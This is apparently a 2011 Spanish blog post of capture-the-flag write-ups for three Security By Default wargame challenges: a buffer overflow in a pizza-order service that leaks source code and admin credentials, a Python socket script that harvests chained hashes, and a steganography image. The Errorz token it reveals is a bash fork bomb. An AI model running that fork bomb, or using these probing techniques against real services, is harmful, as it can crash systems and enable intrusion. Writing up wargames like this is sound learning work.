26 jul 2011

WriteUps para Pizza, Errorz y StealTheHash del Wargame Security By Default 2

Tardando bastante pero no habia podido publicar, pondre RAPIDAMENTE en un solo post la solucion a 3 retos muy interesantes.

Pizza

En este reto nos decian que nos conectaramos a wargame.securitybydefault.com 4242 Yo me conecte con netcat. Al hacerlo nos pide usuario y contraseña (Lo cual obviamente desconocemos). Pero daba la opcion de conectarse como “guest” asi que nos autenticamos como el invitado y nos pedian ciertos datos
  • Nombre
  • Calle
  • Telefono
  • Codigo postal

Al terminar todo decia que nos estaban preparando una pizza para enviarnolas… ¿Pero eso fue todo? ALGO SE NOS PASO. Fue aqui donde tuve la idea de hacer Buffer OverFlow (desbordamiento de memoria)

Asi que empece a probar en diferentes campos hasta que Bingo!!! El codigo postal era vulnerable y al pasar 50 caracteres, se desbordaba y tiraba el código.

1234
python -c 'print str("1337")*13'#1337133713371337133713371337133713371337133713371337expr length `python -c 'print str("1337")*13'`#52

Ya con el codigo lo unico que habia que hacer era reconstruirlo, los caracteres “*” indican que falta algo, cualquier cosa, una letra, numero, espacio, tabulador, retorno de carro etc…

Aqui era tan facil como en el codigo postal explotarlo con diferentes longitudes, lo cual arrojaba diferentes resultados, @fulapol y yo reconstruimos el codigo quedando como:

1234567891011121314151617181920
import randomimport threadingimport SocketServerclass ThreadedTCPRequestHandler(SocketServer,BaseRequestHandler):def handle(self):*oflen = 50rq = self.requestrq.send("Welcome to Happy Endless Awesome Pizza, your most valuable fast food restaurant.\n\n")rq.send("User [guest]: ")user = rq.recv(30)[:-1]if user == "guest" or user == "":usertype = "guest"else:rq.send("Password: ")pwd = rq.recv(20)[:-1]if user == "chucknorrium hyposulfite" and pwd == "ishouldgetalife":usertype = "admin"else:rq.send("\Incorrect user/password\n")return

En lo cual se ve el usuario (chucknorrium hyposulfite) y contraseña (ishouldgetalife) Ya solo era loguearse con esta info y nos salia un menu, en el cual habia 5 opciones y la opcion 2)Do nothingtenia nuestro,

Token: icountthepepperoni

StealtheHash

Para este reto no tengo screenshot, pero cuento de que va. Era conectarse a wargame.securitybydefault.com 2011 al entrar no dice nada, pero en la pagina del reto habia un tip: “r3ady_for_the_n3xt_hash” asi que pusimos eso y dimos enter, lo cual nos devolvia “Ok Go!” y ahi quedaba…

Entonces mande “basura” cualquier cosa, a lo cual me devolvia un error con unhash (“39c0b6522ba0009a2f2ec23b1711913edf006a3d7a3984bf60e83dcda2656e64“) y cortaba la conexion. Vale entonces ya me imagine de que iba, Entonces volvi a conectarme. Puse ”r3ady_for_the_n3xt_hash” y despues del mensaje “Ok Go!” pongo el hash que me devolvio “39c0b6522ba0009a2f2ec23b1711913edf006a3d7a3984bf60e83dcda2656e64” y de nuevo ya no dice nada…vuelvo a mandar basura y me devuelve otro hash: “093409b5a61c7ea8fb862bc67d275a2e4637a2926ff8cc60793b1b8e6b441fd6“…Y asi sucesivamente….

Entonces era claro, habia que hacer un programa que lo hiciera automaticamente, puesto que no sabemos cuantos hashes existen y hasta cual estara el token.

Entonces empece a crear un script en python, en lo cual @fulapol lo termino junto con @Diego_boyque nos ayudo en la sintaxis de python ;) Y este fue nuestro script:

123456789101112131415161718192021222324252627282930
#!/usr/bin/env python#-*- coding:utf-8 -*-import socketimport times = " "init = str("r3ady_for_the_n3xt_hash")while(len(s) > 0):s = " "file = open("hashes", "a+")fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)fs.connect(("217.124.209.253", 2011))fs.send(init)fs.recv(7)[:-1]for line in file:fs.sendall(line)time.sleep(1.5)fs.send("lol")s = fs.recv(2)[:-1]+fs.recv(86)[:-1]hash = s[22:92]print sfile.write(hash + '\n')fs.close()file.close()

Fulapol dejo corriendo el script por que ami me cortaba la comunicacion, y despues de 150 hashes, el 151 decia;

Token; OMG_all_hash3s_h4s_b33n_L34K3D!!!!

Errorz

Una prueba de Estegano, @Urban77 en su writeup demostro que en windows con IrfanView era muy facil simplemente aprentando varias veces “Shift+s” lo cual aplica el filtro “Sharpen” y realmente sale de una.

En linux lo podemos resolver de otra manera…Otra vez recurriré a mi gran amigo ImageMagickcon “convert” y en esta ocasión con el opcion “-edge

convert -edge 2 errorz.jpg x
Lo cual realza los bordes dandonos esto:

Lo cual logra verse el

Token;   : : ( ) { : | : & } ; :

P.D. Como no sabia que parametro pasarle a -edge lo puse en un bucle

for i in [1..10];do echo $i;convert -edge $i errorz.jpg x:; done
Con esto vi que en los valores 1,2 y 3 era donde mas resaltaba.Saludos ;)

No hay comentarios:

Publicar un comentario